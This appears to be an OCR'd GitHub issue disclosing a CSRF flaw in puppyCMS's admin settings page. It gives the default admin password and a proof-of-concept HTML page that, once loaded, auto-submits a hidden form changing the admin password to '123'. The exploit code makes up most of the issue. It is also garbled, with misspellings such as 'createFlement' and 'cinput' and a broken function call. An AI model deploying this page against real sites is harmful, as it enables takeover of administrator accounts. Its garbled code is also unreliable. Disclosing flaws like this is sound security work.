New issue Jump to bottom

There is a CSRF vulnerability that can change the admin's password #13

Open Abstin opened this issue on Mar 27, 2019 · 0 comments

⟨> Code ⊙ Issues 6 % Pull requests 1 ⊙ Actions ⊞ Projects ① Security

```
Abstin commented on Mar 27, 2019
The admin default password is puppycms.
The vuln file is '/puppyCMS/admin/settings.php'.
After the admin logged in, open the following one page.
csrf.html--change the admin's password
     <html>
     <h1>
      This page forges an HTTP POST request.
     </h1>
     <script type="text/javascript">
             function post(url,fields)
                     var p = document.createFlement("form");
p.action = url;
p.innerHTML = fields;
p.target = ".self";
p.method = "post";
                      {\tt document.body.appendChild(p);}
                      p.submit();
              function csrf_hack()
            {
    var fields;
    var url = "http://127.8.8.1/puppyCMS/admin/settings.php";
    fields += "cinput type='hidden' name='site_name' value='My Site'>";
    fields += "cinput type='hidden' name='site_root' value='/'>";
    fields += "cinput type='hidden' name='password value='123'>";
    fields += "cinput type='hidden' name='password-repeat' value='123'>";
    fields += "cinput type='hidden' name='site_template' value='top-nav-red'>";
    fields += "cinput type='hidden' name='from_email' value='your@email.com'>";
    fields += "cinput type='hidden' name='submit[]' value='Submit'>";
    nost(url.fields);
              post(url,fields);
             // invoke csrf_hack() after the page is loaded.
window.onload = function() { csrf_hack();}
     </script>
     </body>
```

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone
Development
No branches or pull requests

1 participant